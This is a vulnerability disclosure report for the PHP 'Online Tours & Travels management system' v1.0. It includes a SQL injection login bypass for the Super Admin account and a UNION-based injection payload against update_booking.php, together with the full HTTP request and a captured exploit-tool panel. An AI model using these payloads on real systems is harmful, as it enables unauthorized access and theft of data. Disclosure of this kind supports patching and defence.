

main

...

bug_report / vendors / mayuri_k / online-tours-travels-management-system / SQLi-1.md



ouoer Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.14 KB

...

Online Tours & Travels management system v1.0 by mayuri_k has SQL injection

BUG_Author: Fanxin

Login account: mayuri.infospace@gmail.com or 1=1--+ / (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /tour/user/update_booking.php

Vulnerability location: /tour/user/update_booking.php?id=, id

dbname = tour1

[+] Payload: /tour/user/update_booking.php?

id=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

GET /tour/user/update_booking.php?id=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv
Connection: close

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTTP2 ENCRYPTION OTHER XSS LFI

Load URL

Split URL

Execute

http://192.168.1.19/tour/user/update_booking.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13--+|

☐ Post data

☐ Referrer

OxHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

HOME

Dashboard

Invoices

Payment History

My Bookings

Booking Info

Traveller Name

State

Select State

Package Name

No Of Adults

5

No Of Children

From Date

7

To Date

Total Amount

9